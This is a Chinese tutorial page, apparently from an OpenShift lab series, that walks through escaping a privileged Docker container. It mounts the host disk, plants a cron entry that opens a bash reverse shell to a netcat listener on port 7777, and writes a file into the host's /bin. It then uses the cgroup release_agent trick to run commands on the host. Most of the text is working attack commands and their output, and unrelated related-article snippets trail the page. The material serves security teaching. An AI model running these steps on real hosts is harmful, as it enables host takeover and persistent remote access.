《OpenShift 4.x HOL教程汇总》

说明

建议使用以下环境模拟本文的容器逃逸:

  • https://www.katacoda.com/bluedata/scenarios/centos

执行命令安装docker运行环境。

$ sudo yum install docker -y

实现容器逃逸

获取宿主机控制权

  1. 先查看当前本机的IP地址,本环节为“172.17.0.28”。
$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00inet 127.0.0.1/8 scope host lovalid_lft forever preferred_lft foreverinet6 ::1/128 scope host valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000link/ether 02:42:ac:11:00:1c brd ff:ff:ff:ff:ff:ffinet 172.17.0.28/16 brd 172.17.255.255 scope global eth0valid_lft forever preferred_lft foreverinet6 fe80::42:acff:fe11:1c/64 scope link valid_lft forever preferred_lft forever
3: docker0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default link/ether 02:42:75:17:f8:81 brd ff:ff:ff:ff:ff:ffinet 172.18.0.1/24 brd 172.18.0.255 scope global docker0valid_lft forever preferred_lft foreverinet6 fe80::42:75ff:fe17:f881/64 scope link valid_lft forever preferred_lft forever
4: virbr0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default qlen 1000link/ether 52:54:00:ed:59:fd brd ff:ff:ff:ff:ff:ffinet 192.168.122.1/24 brd 192.168.122.255 scope global virbr0valid_lft forever preferred_lft forever
5: virbr0-nic: <BROADCAST,MULTICAST> mtu 1500 qdisc pfifo_fast master virbr0 state DOWN group default qlen 1000link/ether 52:54:00:ed:59:fd brd ff:ff:ff:ff:ff:ff
  1. 查看当前的本地存储配置。注意当前环境有“/dev/vda”和“/dev/vdb”两个Disk。
$ sudo fdisk -lDisk /dev/vda: 105.9 GB, 105931341824 bytes, 206897152 sectors
Units = sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disk label type: dos
Disk identifier: 0x00096aaeDevice Boot      Start         End      Blocks   Id  System
/dev/vda1   *        2048   204799999   102398976   83  LinuxDisk /dev/vdb: 21.5 GB, 21474836480 bytes, 41943040 sectors
Units = sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
  1. 查看宿主机的存储挂载点,注意此时宿主机中没有“overlay”的挂载点。
$ df -h
Filesystem      Size  Used Avail Use% Mounted on
devtmpfs        733M     0  733M   0% /dev
tmpfs           748M     0  748M   0% /dev/shm
tmpfs           748M  8.9M  739M   2% /run
tmpfs           748M     0  748M   0% /sys/fs/cgroup
/dev/vda1        96G  5.5G   86G   6% /
tmpfs           150M     0  150M   0% /run/user/0
  1. 使用“privileged”参数运行容器。
$ sudo docker run -it --privileged ubuntu:14.04 /bin/bash
Unable to find image 'ubuntu:14.04' locally
14.04: Pulling from library/ubuntu
2e6e20c8e2e6: Pull complete
0551a797c01d: Pull complete
512123a864da: Pull complete
Digest: sha256:60840958b25b5947b11d7a274274dc48ab32a2f5d18527f5dae2962b64269a3a
Status: Downloaded newer image for ubuntu:14.04
  1. 在容器中查看存储设备,确认也能看到“/dev/vda”和“/dev/vdb”,注意有“/dev/vda1”,此设备为该容器和其外部宿主机共用的存储设备。
root@83828737236a:/# fdisk -lDisk /dev/vda: 105.9 GB, 105931341824 bytes
255 heads, 63 sectors/track, 12878 cylinders, total 206897152 sectors
Units = sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disk identifier: 0x00096aaeDevice Boot      Start         End      Blocks   Id  System
/dev/vda1   *        2048   204799999   102398976   83  LinuxDisk /dev/vdb: 21.5 GB, 21474836480 bytes
16 heads, 63 sectors/track, 41610 cylinders, total 41943040 sectors
Units = sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disk identifier: 0x00000000
  1. 再次在宿主机上查看存储挂载,确认已经有名为“overlay”的,而且从
$ df -h
Filesystem      Size  Used Avail Use% Mounted on
devtmpfs        733M     0  733M   0% /dev
tmpfs           748M     0  748M   0% /dev/shm
tmpfs           748M  8.9M  739M   2% /run
tmpfs           748M     0  748M   0% /sys/fs/cgroup
/dev/vda1        96G  5.5G   86G   6% /
tmpfs           150M     0  150M   0% /run/user/0
overlay          96G  5.5G   86G   6% /var/lib/docker/overlay/680aa5531b659630280f47bb60c22d41756bb273bf853c14ff2dd8071536aedf/merged
  1. 在容器内部新建“/host”目录,然后将宿主机的“/dev/vda1”挂载到容器内的“/host”上。
root@83828737236a:/# mkdir /host
root@83828737236a:/# mount /dev/vda1 /host
root@83828737236a:/# ls /host
bin  boot  dev  etc  home  lib  lib64  lost+found  media  mnt  opt  proc  root  run  sbin  srv  sys  tmp  usr  var
  1. 向外部宿主机“/var/spool/cron/root”目录中写入cron文件,它可以在宿主机“7777”端口运行监听服务。
root@83828737236a:/# echo '* * * * * bash -i >& /dev/tcp/172.17.0.28/7777 0>&1'>> /host/var/spool/cron/root
  1. 此步在外部宿主机上执行。确认宿主机“7777”端口已经在监听。这样就可以通过该端口对容器宿主机发起攻击了。
$ nc -nvlp 7777
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::7777
Ncat: Listening on 0.0.0.0:7777
  1. 在容器中执行命令,向宿主机写一个入侵文件。
$ echo aaa>/host/bin/aaa
  1. 在宿主机上确认有入侵文件。
$ ll /bin/aaa
-rw-r--r--. 1 root root 4 Dec  2 03:08 /bin/aaa

获取宿主机的运行进程

  1. 以特权的方式运行容器。
$ sudo docker run --rm -it --privileged ubuntu bash
  1. 执行以下命令,它的效果是在宿主机上执行了“ps aux”命令,然后将结果被存储在容器内“/output”文件中
root@aeba8db0b728:/# mkdir /tmp/cgrp
root@aeba8db0b728:/# mount -t cgroup -o memory cgroup /tmp/cgrproot@aeba8db0b728:/# mkdir /tmp/cgrp/x
root@aeba8db0b728:/# echo 1 > /tmp/cgrp/x/notify_on_release
root@aeba8db0b728:/# host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
root@aeba8db0b728:/# echo "$host_path/cmd" > /tmp/cgrp/release_agent root@aeba8db0b728:/# echo '#!/bin/sh' > /cmd
root@aeba8db0b728:/# echo "ps aux > $host_path/output" >> /cmd
root@aeba8db0b728:/# chmod a+x /cmdroot@aeba8db0b728:/# sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
  1. 查看运行结果输出的文件内容,确认是宿主机的运行进程。
root@aeba8db0b728:/# cat /output
USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root         1  0.0  0.4 128184  6868 ?        Ss   05:18   0:06 /usr/lib/systemd/systemd --switched-root --system --deserialize 22
root         2  0.0  0.0      0     0 ?        S    05:18   0:00 [kthreadd]
root         4  0.0  0.0      0     0 ?        S<   05:18   0:00 [kworker/0:0H]
root         5  0.0  0.0      0     0 ?        S    05:18   0:00 [kworker/u4:0]
root         6  0.0  0.0      0     0 ?        S    05:18   0:00 [ksoftirqd/0]
root         7  0.0  0.0      0     0 ?        S    05:18   0:00 [migration/0]
root         8  0.0  0.0      0     0 ?        S    05:18   0:00 [rcu_bh]
root         9  0.0  0.0      0     0 ?        S    05:18   0:01 [rcu_sched]
root        10  0.0  0.0      0     0 ?        S<   05:18   0:00 [lru-add-drain]
root        11  0.0  0.0      0     0 ?        S    05:18   0:00 [watchdog/0]
root        12  0.0  0.0      0     0 ?        S    05:18   0:00 [watchdog/1]
。。。
  1. 为了验证,可在宿主机上运行以下命令,确认PID和其他信息同前面在容器中获得的信息是一样的。
$ ps aux
USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root         1  0.0  0.4 128184  6868 ?        Ss   05:18   0:06 /usr/lib/systemd/systemd --switched
root         2  0.0  0.0      0     0 ?        S    05:18   0:00 [kthreadd]
root         4  0.0  0.0      0     0 ?        S<   05:18   0:00 [kworker/0:0H]
root         5  0.0  0.0      0     0 ?        S    05:18   0:00 [kworker/u4:0]
root         6  0.0  0.0      0     0 ?        S    05:18   0:00 [ksoftirqd/0]
root         7  0.0  0.0      0     0 ?        S    05:18   0:00 [migration/0]
root         8  0.0  0.0      0     0 ?        S    05:18   0:00 [rcu_bh]
root         9  0.0  0.0      0     0 ?        S    05:18   0:01 [rcu_sched]
root        10  0.0  0.0      0     0 ?        S<   05:18   0:00 [lru-add-drain]
root        11  0.0  0.0      0     0 ?        S    05:18   0:00 [watchdog/0]
root        12  0.0  0.0      0     0 ?        S    05:18   0:00 [watchdog/1]
。。。
  1. 这样就可以针对宿主机上的运行进程发起攻击了。

容器安全 - 利用特权模式运行的容器,实现容器逃逸和入侵相关推荐

  1. linux 如何进入特权模式,如何以特权模式运行Docker CentOS?

    1 基础知识 1.1 系统的简介 CentOS Linux是社区支持的发行版 CentOS Linux源于Red Hat免费提供给公众使用的Red Hat Enterprise Linux(RHEL) ...

  2. mysql容器操作_如何使用运行MySQL构建Docker容器?

    我的目标是拥有一个具有运行MySQL服务的docker容器.所以每当我启动容器时,数据库都处于初始状态并且MySQL正在运行. 几乎一切都很好但是当我启动容器时MySQL服务没有运行.每次在控制台中我 ...

  3. docker宿主机访问容器_干货来啦!带你初探Docker逃逸

    Docker是当今使用范围最广的开源容器技术之一,具有高效易用的优点.然而如果使用Docker时采取不当安全策略,则可能导致系统面临安全威胁. 本期安仔课堂,ISEC实验室的张老师将为大家介绍不同环境 ...

  4. 容器安全 - 非特权/非root用户运行容器,提升容器的运行安全

    <OpenShift 4.x HOL教程汇总> 文章目录 以非特权方式运行容器 以非root用户运行容器 以非特权方式运行容器 以特权的方式运行容器,确认可以执行"fdisk&q ...

  5. 《Docker容器:利用Kubernetes、Flannel、Cockpit和Atomic构建和部署》——2.2 容器式Linux系统的Docker配置...

    本节书摘来自异步社区<Docker容器:利用Kubernetes.Flannel.Cockpit和Atomic构建和部署>一书中的第2章,第2.2节,作者: [美]Christopher ...

  6. docker的容器管理和网络模式

    文章目录 一: Docker 容器操作 1.1 容器创建 1.2 查看容器运行状态 1.3 启动容器 1.4 创建并启动容器 1.5 终止容器运行 1.6 容器的进入 1.6.1 使用 docker ...

  7. Docker——使用docker工具管理软件/组件的运行,镜像、容器、数据卷的基本概念,常用指令,使用docker搭建Java微服务运行环境

    Docker--使用docker工具管理软件/组件的运行,镜像.容器.数据卷的基本概念,常用指令,使用docker搭建Java微服务运行环境 一.docker的安装和卸载 1.卸载 2.安装 3. 导 ...

  8. Linux Namespace系列(09):利用Namespace创建一个简单可用的容器

    本文将演示如何利用namespace创建一个完整的容器,并在里面运行busybox.如果对namespace不是很熟悉,请先参考前面几遍介绍不同类型namespace的文章. busybox是一个Li ...

  9. 在非容器(集群)环境下运行dapr

    作者:李俱顺 原文:https://www.4async.com/2021/03/2021-03-11-running-dapr-without-container/ 前一段时间一直关注的dapr正式 ...

最新文章

  1. 可伸缩系统的设计模式(译)
  2. Thrift架构~thrift中间语言的认识(只有它什么都不是,它才有可能什么都是)
  3. java.net.SocketException: 断开的管道 (Write failed) 错误,数据库隔一段时间就断开的问题...
  4. 迫零响应法用于MIMO系统
  5. 【Auto.js】[系统Intent]_系统设置页面的相关intent跳转
  6. tomcat如何修改java版本_Java程序员必备——Tomcat配置技巧Top10
  7. python 操作系统学习_操作系统学习
  8. mysql数据库总览_MySQL架构总览-查询执行流程-SQL解析顺序
  9. 强烈抗议故意审核不通过
  10. 给android studio安装新字体,如mac系统的monaco字体
  11. Linux 线程———详解
  12. Racket Cheat Sheet
  13. 如何清除谷歌浏览器中的counterflix广告病毒
  14. 投影仪问题Debug
  15. intel UHD graphics 620/630 -win7 驱动
  16. java微信公众号素材管理系统_微信公众平台后台素材管理
  17. 美团大众点评往届笔试面试题汇总
  18. JAVA数据类型的划分
  19. mysql8.0.20忘记密码_mysql8.0版本忘记密码修改密码
  20. Linux对大于2T的磁盘分区方法及创建逻辑卷LVM

热门文章

  1. java 乱序算法_前端面试(算法篇) - 数组乱序
  2. sata接口 图解 定义_硬盘有几个接口 硬盘不同接口介绍【详解】
  3. C语言求正弦的泰勒展开,用泰勒公式求sin(x)的近似值
  4. linnux 流量控制模块tc_FS4008-40-08-CV-A气体质量流量计【汉川仪器】阿坝资讯
  5. 斜视术后融合训练方法_做斜视手术两年后又复发了怎么办?
  6. 宁夏师范大学本科计算机理工,2019年宁夏师范学院区内二批普通本科理工类(录取905人,共16个专业)...
  7. 优秀网页案例教你如何排好内容页
  8. 抓住眼球的美食海报模板|总有设计技法,吸引住你
  9. UI设计实用素材|数据可视化UX套件
  10. C++类模板 简单示例